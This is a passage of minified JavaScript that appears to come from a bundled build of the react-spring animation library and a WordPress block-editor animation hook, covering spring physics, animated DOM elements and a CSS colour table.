0,this.velocity=0,this.restVelocity=void 0,this.precision=void 0,this.progress=void 0,this.duration=void 0,this.easing=void 0,this.clamp=void 0,this.bounce=void 0,this.decay=void 0,this.round=void 0,Object.assign(this,lv)}}function av(e,t){if(vf.und(t.decay)){const n=!vf.und(t.tension)||!vf.und(t.friction);!n&&vf.und(t.frequency)&&vf.und(t.damping)&&vf.und(t.mass)||(e.duration=void 0,e.decay=void 0),n&&(e.frequency=void 0)}else e.duration=void 0}const cv=[];class uv{constructor(){this.changed=!1,this.values=cv,this.toValues=null,this.fromValues=cv,this.to=void 0,this.from=void 0,this.config=new sv,this.immediate=!1}}function dv(e,{key:t,props:n,defaultProps:o,state:i,actions:r}){return new Promise(((l,s)=>{var a;let c,u,d=Ym(null!=(a=n.cancel)?a:null==o?void 0:o.cancel,t);if(d)g();else{vf.und(n.pause)||(i.paused=Ym(n.pause,t));let e=null==o?void 0:o.pause;!0!==e&&(e=i.paused||Ym(e,t)),c=qm(n.delay||0,t),e?(i.resumeQueue.add(h),r.pause()):(r.resume(),h())}function p(){i.resumeQueue.add(h),i.timeouts.delete(u),u.cancel(),c=u.time-Xg.now()}function h(){c>0&&!Ef.skipAnimation?(u=Xg.setTimeout(g,c),i.pauseQueue.add(p),i.timeouts.add(u)):g()}function g(){i.pauseQueue.delete(p),i.timeouts.delete(u),e<=(i.cancelId||0)&&(d=!0);try{r.start(Zm({},n,{callId:e,cancel:d}),l)}catch(e){s(e)}}}))}const pv=(e,t)=>1==t.length?t[0]:t.some((e=>e.cancelled))?fv(e.get()):t.every((e=>e.noop))?hv(e.get()):gv(e.get(),t.every((e=>e.finished))),hv=e=>({value:e,noop:!0,finished:!0,cancelled:!1}),gv=(e,t,n=!1)=>({value:e,finished:t,cancelled:n}),fv=e=>({value:e,cancelled:!0,finished:!1});function mv(e,t,n,o){const{callId:i,parentId:r,onRest:l}=t,{asyncTo:s,promise:a}=n;return r||e!==s||t.reset?n.promise=(async()=>{n.asyncId=i,n.asyncTo=e;const c=ev(t,((e,t)=>"onRest"===t?void 0:e));let u,d;const p=new Promise(((e,t)=>(u=e,d=t))),h=e=>{const t=i<=(n.cancelId||0)&&fv(o)||i!==n.asyncId&&gv(o,!1);if(t)throw e.result=t,d(e),e},g=(e,t)=>{const r=new bv,l=new kv;return(async()=>{if(Ef.skipAnimation)throw vv(n),l.result=gv(o,!1),d(l),l;h(r);const s=vf.obj(e)?Zm({},e):Zm({},t,{to:e});s.parentId=i,_f(c,((e,t)=>{vf.und(s[t])&&(s[t]=e)}));const a=await o.start(s);return h(r),n.paused&&await new Promise((e=>{n.resumeQueue.add(e)})),a})()};let f;if(Ef.skipAnimation)return vv(n),gv(o,!1);try{let t;t=vf.arr(e)?(async e=>{for(const t of e)await g(t)})(e):Promise.resolve(e(g,o.stop.bind(o))),await Promise.all([t.then(u),p]),f=gv(o.get(),!0,!1)}catch(e){if(e instanceof bv)f=e.result;else{if(!(e instanceof kv))throw e;f=e.result}}finally{i==n.asyncId&&(n.asyncId=r,n.asyncTo=r?s:void 0,n.promise=r?a:void 0)}return vf.fun(l)&&Xg.batchedUpdates((()=>{l(f,o,o.item)})),f})():a}function vv(e,t){xf(e.timeouts,(e=>e.cancel())),e.pauseQueue.clear(),e.resumeQueue.clear(),e.asyncId=e.asyncTo=e.promise=void 0,t&&(e.cancelId=t)}class bv extends Error{constructor(){super("An async animation has been interrupted. You see this error because you forgot to use `await` or `.catch(...)` on its returned promise."),this.result=void 0}}class kv extends Error{constructor(){super("SkipAnimationSignal"),this.result=void 0}}const _v=e=>e instanceof xv;let yv=1;class xv extends dm{constructor(...e){super(...e),this.id=yv++,this.key=void 0,this._priority=0}get priority(){return this._priority}set priority(e){this._priority!=e&&(this._priority=e,this._onPriorityChange(e))}get(){const e=Mm(this);return e&&e.getValue()}to(...e){return Ef.to(this,e)}interpolate(...e){return Cm(`${Sm}The "interpolate" function is deprecated in v9 (use "to" instead)`),Ef.to(this,e)}toJSON(){return this.get()}observerAdded(e){1==e&&this._attach()}observerRemoved(e){0==e&&this._detach()}_attach(){}_detach(){}_onChange(e,t=!1){um(this,{type:"change",parent:this,value:e,idle:t})}_onPriorityChange(e){this.idle||Nf.sort(this),um(this,{type:"priority",parent:this,priority:e})}}const Sv=Symbol.for("SpringPhase"),wv=e=>(1&e[Sv])>0,Cv=e=>(2&e[Sv])>0,Bv=e=>(4&e[Sv])>0,Iv=(e,t)=>t?e[Sv]|=3:e[Sv]&=-3,jv=(e,t)=>t?e[Sv]|=4:e[Sv]&=-5;class Ev extends xv{constructor(e,t){if(super(),this.key=void 0,this.animation=new uv,this.queue=void 0,this.defaultProps={},this._state={paused:!1,pauseQueue:new Set,resumeQueue:new Set,timeouts:new Set},this._pendingCalls=new Set,this._lastCallId=0,this._lastToId=0,this._memoizedDuration=0,!vf.und(e)||!vf.und(t)){const n=vf.obj(e)?Zm({},e):Zm({},t,{from:e});vf.und(n.default)&&(n.default=!0),this.start(n)}}get idle(){return!(Cv(this)||this._state.asyncTo)||Bv(this)}get goal(){return am(this.animation.to)}get velocity(){const e=Mm(this);return e instanceof Lm?e.lastVelocity||0:e.getPayload().map((e=>e.lastVelocity||0))}get hasAnimated(){return wv(this)}get isAnimating(){return Cv(this)}get isPaused(){return Bv(this)}advance(e){let t=!0,n=!1;const o=this.animation;let{config:i,toValues:r}=o;const l=Nm(o.to);!l&&sm(o.to)&&(r=yf(am(o.to))),o.values.forEach(((s,a)=>{if(s.done)return;const c=s.constructor==Dm?1:l?l[a].lastPosition:r[a];let u=o.immediate,d=c;if(!u){if(d=s.lastPosition,i.tension<=0)return void(s.done=!0);let t=s.elapsedTime+=e;const n=o.fromValues[a],r=null!=s.v0?s.v0:s.v0=vf.arr(i.velocity)?i.velocity[a]:i.velocity;let l;if(vf.und(i.duration))if(i.decay){const e=!0===i.decay?.998:i.decay,o=Math.exp(-(1-e)*t);d=n+r/(1-e)*(1-o),u=Math.abs(s.lastPosition-d)<.1,l=r*o}else{l=null==s.lastVelocity?r:s.lastVelocity;const t=i.precision||(n==c?.005:Math.min(1,.001*Math.abs(c-n))),o=i.restVelocity||t/10,a=i.clamp?0:i.bounce,p=!vf.und(a),h=n==c?s.v0>0:n<c;let g,f=!1;const m=1,v=Math.ceil(e/m);for(let e=0;e<v&&(g=Math.abs(l)>o,g||(u=Math.abs(c-d)<=t,!u));++e)p&&(f=d==c||d>c==h,f&&(l=-l*a,d=c)),l+=(1e-6*-i.tension*(d-c)+.001*-i.friction*l)/i.mass*m,d+=l*m}else{let o=1;i.duration>0&&(this._memoizedDuration!==i.duration&&(this._memoizedDuration=i.duration,s.durationProgress>0&&(s.elapsedTime=i.duration*s.durationProgress,t=s.elapsedTime+=e)),o=(i.progress||0)+t/this._memoizedDuration,o=o>1?1:o<0?0:o,s.durationProgress=o),d=n+i.easing(o)*(c-n),l=(d-s.lastPosition)/e,u=1==o}s.lastVelocity=l,Number.isNaN(d)&&(console.warn("Got NaN while animating:",this),u=!0)}l&&!l[a].done&&(u=!1),u?s.done=!0:t=!1,s.setValue(d,i.round)&&(n=!0)}));const s=Mm(this),a=s.getValue();if(t){const e=am(o.to);a===e&&!n||i.decay?n&&i.decay&&this._onChange(a):(s.setValue(e),this._onChange(e)),this._stop()}else n&&this._onChange(a)}set(e){return Xg.batchedUpdates((()=>{this._stop(),this._focus(e),this._set(e)})),this}pause(){this._update({pause:!0})}resume(){this._update({pause:!1})}finish(){if(Cv(this)){const{to:e,config:t}=this.animation;Xg.batchedUpdates((()=>{this._onStart(),t.decay||this._set(e,!1),this._stop()}))}return this}update(e){return(this.queue||(this.queue=[])).push(e),this}start(e,t){let n;return vf.und(e)?(n=this.queue||[],this.queue=[]):n=[vf.obj(e)?e:Zm({},t,{to:e})],Promise.all(n.map((e=>this._update(e)))).then((e=>pv(this,e)))}stop(e){const{to:t}=this.animation;return this._focus(this.get()),vv(this._state,e&&this._lastCallId),Xg.batchedUpdates((()=>this._stop(t,e))),this}reset(){this._update({reset:!0})}eventObserved(e){"change"==e.type?this._start():"priority"==e.type&&(this.priority=e.priority+1)}_prepareNode(e){const t=this.key||"";let{to:n,from:o}=e;n=vf.obj(n)?n[t]:n,(null==n||rv(n))&&(n=void 0),o=vf.obj(o)?o[t]:o,null==o&&(o=void 0);const i={to:n,from:o};return wv(this)||(e.reverse&&([n,o]=[o,n]),o=am(o),vf.und(o)?Mm(this)||this._set(n):this._set(o)),i}_update(e,t){let n=Zm({},e);const{key:o,defaultProps:i}=this;n.default&&Object.assign(i,ev(n,((e,t)=>/^on/.test(t)?Xm(e,o):e))),Av(this,n,"onProps"),Lv(this,"onProps",n,this);const r=this._prepareNode(n);if(Object.isFrozen(this))throw Error("Cannot animate a `SpringValue` object that is frozen. Did you forget to pass your component to `animated(...)` before animating its props?");const l=this._state;return dv(++this._lastCallId,{key:o,props:n,defaultProps:i,state:l,actions:{pause:()=>{Bv(this)||(jv(this,!0),Sf(l.pauseQueue),Lv(this,"onPause",gv(this,Tv(this,this.animation.to)),this))},resume:()=>{Bv(this)&&(jv(this,!1),Cv(this)&&this._resume(),Sf(l.resumeQueue),Lv(this,"onResume",gv(this,Tv(this,this.animation.to)),this))},start:this._merge.bind(this,r)}}).then((e=>{if(n.loop&&e.finished&&(!t||!e.noop)){const e=Pv(n);if(e)return this._update(e,!0)}return e}))}_merge(e,t,n){if(t.cancel)return this.stop(!0),n(fv(this));const o=!vf.und(e.to),i=!vf.und(e.from);if(o||i){if(!(t.callId>this._lastToId))return n(fv(this));this._lastToId=t.callId}const{key:r,defaultProps:l,animation:s}=this,{to:a,from:c}=s;let{to:u=a,from:d=c}=e;!i||o||t.default&&!vf.und(u)||(u=d),t.reverse&&([u,d]=[d,u]);const p=!bf(d,c);p&&(s.from=d),d=am(d);const h=!bf(u,a);h&&this._focus(u);const g=rv(t.to),{config:f}=s,{decay:m,velocity:v}=f;(o||i)&&(f.velocity=0),t.config&&!g&&function(e,t,n){n&&(av(n=Zm({},n),t),t=Zm({},n,t)),av(e,t),Object.assign(e,t);for(const t in lv)null==e[t]&&(e[t]=lv[t]);let{mass:o,frequency:i,damping:r}=e;vf.und(i)||(i<.01&&(i=.01),r<0&&(r=0),e.tension=Math.pow(2*Math.PI/i,2)*o,e.friction=4*Math.PI*r*o/i)}(f,qm(t.config,r),t.config!==l.config?qm(l.config,r):void 0);let b=Mm(this);if(!b||vf.und(u))return n(gv(this,!0));const k=vf.und(t.reset)?i&&!t.default:!vf.und(d)&&Ym(t.reset,r),_=k?d:this.get(),y=iv(u),x=vf.num(y)||vf.arr(y)||Bm(y),S=!g&&(!x||Ym(l.immediate||t.immediate,r));if(h){const e=Hm(u);if(e!==b.constructor){if(!S)throw Error(`Cannot animate between ${b.constructor.name} and ${e.name}, as the "to" prop suggests`);b=this._set(y)}}const w=b.constructor;let C=sm(u),B=!1;if(!C){const e=k||!wv(this)&&p;(h||e)&&(B=bf(iv(_),y),C=!B),(bf(s.immediate,S)||S)&&bf(f.decay,m)&&bf(f.velocity,v)||(C=!0)}if(B&&Cv(this)&&(s.changed&&!k?C=!0:C||this._stop(a)),!g&&((C||sm(a))&&(s.values=b.getPayload(),s.toValues=sm(u)?null:w==Dm?[1]:yf(y)),s.immediate!=S&&(s.immediate=S,S||k||this._set(a)),C)){const{onRest:e}=s;kf(Nv,(e=>Av(this,t,e)));const o=gv(this,Tv(this,a));Sf(this._pendingCalls,o),this._pendingCalls.add(n),s.changed&&Xg.batchedUpdates((()=>{s.changed=!k,null==e||e(o,this),k?qm(l.onRest,o):null==s.onStart||s.onStart(o,this)}))}k&&this._set(_),g?n(mv(t.to,t,this._state,this)):C?this._start():Cv(this)&&!h?this._pendingCalls.add(n):n(hv(_))}_focus(e){const t=this.animation;e!==t.to&&(cm(this)&&this._detach(),t.to=e,cm(this)&&this._attach())}_attach(){let e=0;const{to:t}=this.animation;sm(t)&&(hm(t,this),_v(t)&&(e=t.priority+1)),this.priority=e}_detach(){const{to:e}=this.animation;sm(e)&&gm(e,this)}_set(e,t=!0){const n=am(e);if(!vf.und(n)){const e=Mm(this);if(!e||!bf(n,e.getValue())){const o=Hm(n);e&&e.constructor==o?e.setValue(n):Rm(this,o.create(n)),e&&Xg.batchedUpdates((()=>{this._onChange(n,t)}))}}return Mm(this)}_onStart(){const e=this.animation;e.changed||(e.changed=!0,Lv(this,"onStart",gv(this,Tv(this,e.to)),this))}_onChange(e,t){t||(this._onStart(),qm(this.animation.onChange,e,this)),qm(this.defaultProps.onChange,e,this),super._onChange(e,t)}_start(){const e=this.animation;Mm(this).reset(am(e.to)),e.immediate||(e.fromValues=e.values.map((e=>e.lastPosition))),Cv(this)||(Iv(this,!0),Bv(this)||this._resume())}_resume(){Ef.skipAnimation?this.finish():Nf.start(this)}_stop(e,t){if(Cv(this)){Iv(this,!1);const n=this.animation;kf(n.values,(e=>{e.done=!0})),n.toValues&&(n.onChange=n.onPause=n.onResume=void 0),um(this,{type:"idle",parent:this});const o=t?fv(this.get()):gv(this.get(),Tv(this,null!=e?e:n.to));Sf(this._pendingCalls,o),n.changed&&(n.changed=!1,Lv(this,"onRest",o,this))}}}function Tv(e,t){const n=iv(t);return bf(iv(e.get()),n)}function Pv(e,t=e.loop,n=e.to){let o=qm(t);if(o){const i=!0!==o&&ov(o),r=(i||e).reverse,l=!i||i.reset;return Mv(Zm({},e,{loop:t,default:!1,pause:void 0,to:!r||rv(n)?n:void 0,from:l?e.from:void 0,reset:l},i))}}function Mv(e){const{to:t,from:n}=e=ov(e),o=new Set;return vf.obj(t)&&Rv(t,o),vf.obj(n)&&Rv(n,o),e.keys=o.size?Array.from(o):null,e}function Rv(e,t){_f(e,((e,n)=>null!=e&&t.add(n)))}const Nv=["onStart","onRest","onChange","onPause","onResume"];function Av(e,t,n){e.animation[n]=t[n]!==Qm(t,n)?Xm(t[n],e.key):void 0}function Lv(e,t,...n){var o,i,r,l;null==(o=(i=e.animation)[t])||o.call(i,...n),null==(r=(l=e.defaultProps)[t])||r.call(l,...n)}const Dv=["onStart","onChange","onRest"];let Ov=1;class zv{constructor(e,t){this.id=Ov++,this.springs={},this.queue=[],this.ref=void 0,this._flush=void 0,this._initialProps=void 0,this._lastAsyncId=0,this._active=new Set,this._changed=new Set,this._started=!1,this._item=void 0,this._state={paused:!1,pauseQueue:new Set,resumeQueue:new Set,timeouts:new Set},this._events={onStart:new Map,onChange:new Map,onRest:new Map},this._onFrame=this._onFrame.bind(this),t&&(this._flush=t),e&&this.start(Zm({default:!0},e))}get idle(){return!this._state.asyncTo&&Object.values(this.springs).every((e=>e.idle))}get item(){return this._item}set item(e){this._item=e}get(){const e={};return this.each(((t,n)=>e[n]=t.get())),e}set(e){for(const t in e){const n=e[t];vf.und(n)||this.springs[t].set(n)}}update(e){return e&&this.queue.push(Mv(e)),this}start(e){let{queue:t}=this;return e?t=yf(e).map(Mv):this.queue=[],this._flush?this._flush(this,t):(Vv(this,t),function(e,t){return Promise.all(t.map((t=>Fv(e,t)))).then((t=>pv(e,t)))}(this,t))}stop(e,t){if(e!==!!e&&(t=e),t){const n=this.springs;kf(yf(t),(t=>n[t].stop(!!e)))}else vv(this._state,this._lastAsyncId),this.each((t=>t.stop(!!e)));return this}pause(e){if(vf.und(e))this.start({pause:!0});else{const t=this.springs;kf(yf(e),(e=>t[e].pause()))}return this}resume(e){if(vf.und(e))this.start({pause:!1});else{const t=this.springs;kf(yf(e),(e=>t[e].resume()))}return this}each(e){_f(this.springs,e)}_onFrame(){const{onStart:e,onChange:t,onRest:n}=this._events,o=this._active.size>0,i=this._changed.size>0;(o&&!this._started||i&&!this._started)&&(this._started=!0,xf(e,(([e,t])=>{t.value=this.get(),e(t,this,this._item)})));const r=!o&&this._started,l=i||r&&n.size?this.get():null;i&&t.size&&xf(t,(([e,t])=>{t.value=l,e(t,this,this._item)})),r&&(this._started=!1,xf(n,(([e,t])=>{t.value=l,e(t,this,this._item)})))}eventObserved(e){if("change"==e.type)this._changed.add(e.parent),e.idle||this._active.add(e.parent);else{if("idle"!=e.type)return;this._active.delete(e.parent)}Xg.onFrame(this._onFrame)}}async function Fv(e,t,n){const{keys:o,to:i,from:r,loop:l,onRest:s,onResolve:a}=t,c=vf.obj(t.default)&&t.default;l&&(t.loop=!1),!1===i&&(t.to=null),!1===r&&(t.from=null);const u=vf.arr(i)||vf.fun(i)?i:void 0;u?(t.to=void 0,t.onRest=void 0,c&&(c.onRest=void 0)):kf(Dv,(n=>{const o=t[n];if(vf.fun(o)){const i=e._events[n];t[n]=({finished:e,cancelled:t})=>{const n=i.get(o);n?(e||(n.finished=!1),t&&(n.cancelled=!0)):i.set(o,{value:null,finished:e||!1,cancelled:t||!1})},c&&(c[n]=t[n])}}));const d=e._state;t.pause===!d.paused?(d.paused=t.pause,Sf(t.pause?d.pauseQueue:d.resumeQueue)):d.paused&&(t.pause=!0);const p=(o||Object.keys(e.springs)).map((n=>e.springs[n].start(t))),h=!0===t.cancel||!0===Qm(t,"cancel");(u||h&&d.asyncId)&&p.push(dv(++e._lastAsyncId,{props:t,state:d,actions:{pause:mf,resume:mf,start(t,n){h?(vv(d,e._lastAsyncId),n(fv(e))):(t.onRest=s,n(mv(u,t,d,e)))}}})),d.paused&&await new Promise((e=>{d.resumeQueue.add(e)}));const g=pv(e,await Promise.all(p));if(l&&g.finished&&(!n||!g.noop)){const n=Pv(t,l,i);if(n)return Vv(e,[n]),Fv(e,n,!0)}return a&&Xg.batchedUpdates((()=>a(g,e,e.item))),g}function Vv(e,t){kf(t,(t=>{!function(e,t,n){t.keys&&kf(t.keys,(o=>{(e[o]||(e[o]=n(o)))._prepareNode(t)}))}(e.springs,t,(t=>function(e,t){const n=new Ev;return n.key=e,t&&hm(n,t),n}(t,e)))}))}const Hv=["children"],Gv=e=>{let{children:t}=e,n=function(e,t){if(null==e)return{};var n,o,i={},r=Object.keys(e);for(o=0;o<r.length;o++)n=r[o],t.indexOf(n)>=0||(i[n]=e[n]);return i}(e,Hv);const o=(0,ff.useContext)($v),i=n.pause||!!o.pause,r=n.immediate||!!o.immediate;n=function(e,t){const[n]=(0,ff.useState)((()=>({inputs:t,result:e()}))),o=(0,ff.useRef)(),i=o.current;let r=i;if(r){const n=Boolean(t&&r.inputs&&function(e,t){if(e.length!==t.length)return!1;for(let n=0;n<e.length;n++)if(e[n]!==t[n])return!1;return!0}(t,r.inputs));n||(r={inputs:t,result:e()})}else r=n;return(0,ff.useEffect)((()=>{o.current=r,i==n&&(n.inputs=n.result=void 0)}),[r]),r.result}((()=>({pause:i,immediate:r})),[i,r]);const{Provider:l}=$v;return ff.createElement(l,{value:n},t)},$v=(Uv=Gv,Wv={},Object.assign(Uv,ff.createContext(Wv)),Uv.Provider._context=Uv,Uv.Consumer._context=Uv,Uv);var Uv,Wv;let Kv;Gv.Provider=$v.Provider,Gv.Consumer=$v.Consumer,function(e){e.MOUNT="mount",e.ENTER="enter",e.UPDATE="update",e.LEAVE="leave"}(Kv||(Kv={}));class Zv extends xv{constructor(e,t){super(),this.key=void 0,this.idle=!0,this.calc=void 0,this._active=new Set,this.source=e,this.calc=om(...t);const n=this._get(),o=Hm(n);Rm(this,o.create(n))}advance(e){const t=this._get();bf(t,this.get())||(Mm(this).setValue(t),this._onChange(t,this.idle)),!this.idle&&Yv(this._active)&&Xv(this)}_get(){const e=vf.arr(this.source)?this.source.map(am):yf(am(this.source));return this.calc(...e)}_start(){this.idle&&!Yv(this._active)&&(this.idle=!1,kf(Nm(this),(e=>{e.done=!1})),Ef.skipAnimation?(Xg.batchedUpdates((()=>this.advance())),Xv(this)):Nf.start(this))}_attach(){let e=1;kf(yf(this.source),(t=>{sm(t)&&hm(t,this),_v(t)&&(t.idle||this._active.add(t),e=Math.max(e,t.priority+1))})),this.priority=e,this._start()}_detach(){kf(yf(this.source),(e=>{sm(e)&&gm(e,this)})),this._active.clear(),Xv(this)}eventObserved(e){"change"==e.type?e.idle?this.advance():(this._active.add(e.parent),this._start()):"idle"==e.type?this._active.delete(e.parent):"priority"==e.type&&(this.priority=yf(this.source).reduce(((e,t)=>Math.max(e,(_v(t)?t.priority:0)+1)),0))}}function qv(e){return!1!==e.idle}function Yv(e){return!e.size||Array.from(e).every(qv)}function Xv(e){e.idle||(e.idle=!0,kf(Nm(e),(e=>{e.done=!0})),um(e,{type:"idle",parent:e}))}Ef.assign({createStringInterpolator:xm,to:(e,t)=>new Zv(e,t)}),Nf.advance;const Qv=window.ReactDOM;function Jv(e,t){if(null==e)return{};var n,o,i={},r=Object.keys(e);for(o=0;o<r.length;o++)n=r[o],t.indexOf(n)>=0||(i[n]=e[n]);return i}const eb=["style","children","scrollTop","scrollLeft"],tb=/^--/;function nb(e,t){return null==t||"boolean"==typeof t||""===t?"":"number"!=typeof t||0===t||tb.test(e)||ib.hasOwnProperty(e)&&ib[e]?(""+t).trim():t+"px"}const ob={};let ib={animationIterationCount:!0,borderImageOutset:!0,borderImageSlice:!0,borderImageWidth:!0,boxFlex:!0,boxFlexGroup:!0,boxOrdinalGroup:!0,columnCount:!0,columns:!0,flex:!0,flexGrow:!0,flexPositive:!0,flexShrink:!0,flexNegative:!0,flexOrder:!0,gridRow:!0,gridRowEnd:!0,gridRowSpan:!0,gridRowStart:!0,gridColumn:!0,gridColumnEnd:!0,gridColumnSpan:!0,gridColumnStart:!0,fontWeight:!0,lineClamp:!0,lineHeight:!0,opacity:!0,order:!0,orphans:!0,tabSize:!0,widows:!0,zIndex:!0,zoom:!0,fillOpacity:!0,floodOpacity:!0,stopOpacity:!0,strokeDasharray:!0,strokeDashoffset:!0,strokeMiterlimit:!0,strokeOpacity:!0,strokeWidth:!0};const rb=["Webkit","Ms","Moz","O"];ib=Object.keys(ib).reduce(((e,t)=>(rb.forEach((n=>e[((e,t)=>e+t.charAt(0).toUpperCase()+t.substring(1))(n,t)]=e[t])),e)),ib);const lb=["x","y","z"],sb=/^(matrix|translate|scale|rotate|skew)/,ab=/^(translate)/,cb=/^(rotate|skew)/,ub=(e,t)=>vf.num(e)&&0!==e?e+t:e,db=(e,t)=>vf.arr(e)?e.every((e=>db(e,t))):vf.num(e)?e===t:parseFloat(e)===t;class pb extends zm{constructor(e){let{x:t,y:n,z:o}=e,i=Jv(e,lb);const r=[],l=[];(t||n||o)&&(r.push([t||0,n||0,o||0]),l.push((e=>[`translate3d(${e.map((e=>ub(e,"px"))).join(",")})`,db(e,0)]))),_f(i,((e,t)=>{if("transform"===t)r.push([e||""]),l.push((e=>[e,""===e]));else if(sb.test(t)){if(delete i[t],vf.und(e))return;const n=ab.test(t)?"px":cb.test(t)?"deg":"";r.push(yf(e)),l.push("rotate3d"===t?([e,t,o,i])=>[`rotate3d(${e},${t},${o},${ub(i,n)})`,db(i,0)]:e=>[`${t}(${e.map((e=>ub(e,n))).join(",")})`,db(e,t.startsWith("scale")?1:0)])}})),r.length&&(i.transform=new hb(r,l)),super(i)}}class hb extends dm{constructor(e,t){super(),this._value=null,this.inputs=e,this.transforms=t}get(){return this._value||(this._value=this._get())}_get(){let e="",t=!0;return kf(this.inputs,((n,o)=>{const i=am(n[0]),[r,l]=this.transforms[o](vf.arr(i)?i:n.map(am));e+=" "+r,t=t&&l})),t?"none":e}observerAdded(e){1==e&&kf(this.inputs,(e=>kf(e,(e=>sm(e)&&hm(e,this)))))}observerRemoved(e){0==e&&kf(this.inputs,(e=>kf(e,(e=>sm(e)&&gm(e,this)))))}eventObserved(e){"change"==e.type&&(this._value=null),um(this,e)}}const gb=["scrollTop","scrollLeft"];Ef.assign({batchedUpdates:Qv.unstable_batchedUpdates,createStringInterpolator:xm,colors:{transparent:0,aliceblue:4042850303,antiquewhite:4209760255,aqua:16777215,aquamarine:2147472639,azure:4043309055,beige:4126530815,bisque:4293182719,black:255,blanchedalmond:4293643775,blue:65535,blueviolet:2318131967,brown:2771004159,burlywood:3736635391,burntsienna:3934150143,cadetblue:1604231423,chartreuse:2147418367,chocolate:3530104575,coral:4286533887,cornflowerblue:1687547391,cornsilk:4294499583,crimson:3692313855,cyan:16777215,darkblue:35839,darkcyan:9145343,darkgoldenrod:3095792639,darkgray:2846468607,darkgreen:6553855,darkgrey:2846468607,darkkhaki:3182914559,darkmagenta:2332068863,darkolivegreen:1433087999,darkorange:4287365375,darkorchid:2570243327,darkred:2332033279,darksalmon:3918953215,darkseagreen:2411499519,darkslateblue:1211993087,darkslategray:793726975,darkslategrey:793726975,darkturquoise:13554175,darkviolet:2483082239,deeppink:4279538687,deepskyblue:12582911,dimgray:1768516095,dimgrey:1768516095,dodgerblue:512819199,firebrick:2988581631,floralwhite:4294635775,forestgreen:579543807,fuchsia:4278255615,gainsboro:3705462015,ghostwhite:4177068031,gold:4292280575,goldenrod:3668254975,gray:2155905279,green:8388863,greenyellow:2919182335,grey:2155905279,honeydew:4043305215,hotpink:4285117695,indianred:3445382399,indigo:1258324735,ivory:4294963455,khaki:4041641215,lavender:3873897215,lavenderblush:4293981695,lawngreen:2096890111,lemonchiffon:4294626815,lightblue:2916673279,lightcoral:4034953471,lightcyan:3774873599,lightgoldenrodyellow:4210742015,lightgray:3553874943,lightgreen:2431553791,lightgrey:3553874943,lightpink:4290167295,lightsalmon:4288707327,lightseagreen:548580095,lightskyblue:2278488831,lightslategray:2005441023,lightslategrey:2005441023,lightsteelblue:2965692159,lightyellow:4294959359,lime:16711935,limegreen:852308735,linen:4210091775,magenta:4278255615,maroon:2147483903,mediumaquamarine:1724754687,mediumblue:52735,mediumorchid:3126187007,mediumpurple:2473647103,mediumseagreen:1018393087,mediumslateblue:2070474495,mediumspringgreen:16423679,mediumturquoise:1221709055,mediumvioletred:3340076543,midnightblue:421097727,mintcream:4127193855,mistyrose:4293190143,moccasin:4293178879,navajowhite:4292783615,navy:33023,oldlace:4260751103,olive:2155872511,olivedrab:1804477439,orange:4289003775,orangered:4282712319,orchid:3664828159,palegoldenrod:4008225535,palegreen:2566625535,paleturquoise:2951671551,palevioletred:3681588223,papayawhip:4293907967,peachpuff:4292524543,peru:3448061951,pink:4290825215,plum:3718307327,powderblue:2967529215,purple:2147516671,rebeccapurple:1714657791,red:4278190335,rosybrown:3163525119,royalblue:1097458175,saddlebrown:2336560127,salmon:4202722047,sandybrown:4104413439,seagreen:780883967,seashell:4294307583,sienna:2689740287,silver:3233857791,skyblue:2278484991,slateblue:1784335871,slategray:1887473919,slategrey:1887473919,snow:4294638335,springgreen:16744447,steelblue:1182971135,tan:3535047935,teal:8421631,thistle:3636451583,tomato:4284696575,turquoise:1088475391,violet:4001558271,wheat:4125012991,white:4294967295,whitesmoke:4126537215,yellow:4294902015,yellowgreen:2597139199}});const fb=((e,{applyAnimatedValues:t=(()=>!1),createAnimatedStyle:n=(e=>new zm(e)),getComponentProps:o=(e=>e)}={})=>{const i={applyAnimatedValues:t,createAnimatedStyle:n,getComponentProps:o},r=e=>{const t=Km(e)||"Anonymous";return(e=vf.str(e)?r[e]||(r[e]=$m(e,i)):e[Wm]||(e[Wm]=$m(e,i))).displayName=`Animated(${t})`,e};return _f(e,((t,n)=>{vf.arr(e)&&(n=Km(t)),r[n]=r(t)})),{animated:r}})(["a","abbr","address","area","article","aside","audio","b","base","bdi","bdo","big","blockquote","body","br","button","canvas","caption","cite","code","col","colgroup","data","datalist","dd","del","details","dfn","dialog","div","dl","dt","em","embed","fieldset","figcaption","figure","footer","form","h1","h2","h3","h4","h5","h6","head","header","hgroup","hr","html","i","iframe","img","input","ins","kbd","keygen","label","legend","li","link","main","map","mark","menu","menuitem","meta","meter","nav","noscript","object","ol","optgroup","option","output","p","param","picture","pre","progress","q","rp","rt","ruby","s","samp","script","section","select","small","source","span","strong","style","sub","summary","sup","table","tbody","td","textarea","tfoot","th","thead","time","title","tr","track","u","ul","var","video","wbr","circle","clipPath","defs","ellipse","foreignObject","g","image","line","linearGradient","mask","path","pattern","polygon","polyline","radialGradient","rect","stop","svg","text","tspan"],{applyAnimatedValues:function(e,t){if(!e.nodeType||!e.setAttribute)return!1;const n="filter"===e.nodeName||e.parentNode&&"filter"===e.parentNode.nodeName,o=t,{style:i,children:r,scrollTop:l,scrollLeft:s}=o,a=Jv(o,eb),c=Object.values(a),u=Object.keys(a).map((t=>n||e.hasAttribute(t)?t:ob[t]||(ob[t]=t.replace(/([A-Z])/g,(e=>"-"+e.toLowerCase())))));void 0!==r&&(e.textContent=r);for(let t in i)if(i.hasOwnProperty(t)){const n=nb(t,i[t]);tb.test(t)?e.style.setProperty(t,n):e.style[t]=n}u.forEach(((t,n)=>{e.setAttribute(t,c[n])})),void 0!==l&&(e.scrollTop=l),void 0!==s&&(e.scrollLeft=s)},createAnimatedStyle:e=>new pb(e),getComponentProps:e=>Jv(e,gb)}),mb=fb.animated;function vb(e){return{top:e.offsetTop,left:e.offsetLeft}}const bb=function({triggerAnimationOnChange:e,clientId:t}){const n=(0,u.useRef)(),{isTyping:o,getGlobalBlockCount:i,isBlockSelected:r,isFirstMultiSelectedBlock:l,isBlockMultiSelected:s,isAncestorMultiSelected:a,isDraggingBlocks:c}=(0,d.useSelect)(hs),{previous:p,prevRect:h}=(0,u.useMemo)((()=>({previous:n.current&&vb(n.current),prevRect:n.current&&n.current.getBoundingClientRect()})),[e]);return(0,u.useLayoutEffect)((()=>{if(!p||!n.current)return;const e=(0,Cp.getScrollContainer)(n.current),u=r(t),d=u||l(t),g=c();function f(){if(!g&&d&&h){const t=n.current.getBoundingClientRect().top-h.top;t&&(e.scrollTop+=t)}}if(window.matchMedia("(prefers-reduced-motion: reduce)").matches||o()||i()>200)return void f();const m=u||s(t)||a(t);if(m&&g)return;const v=m?"1":"",b=new 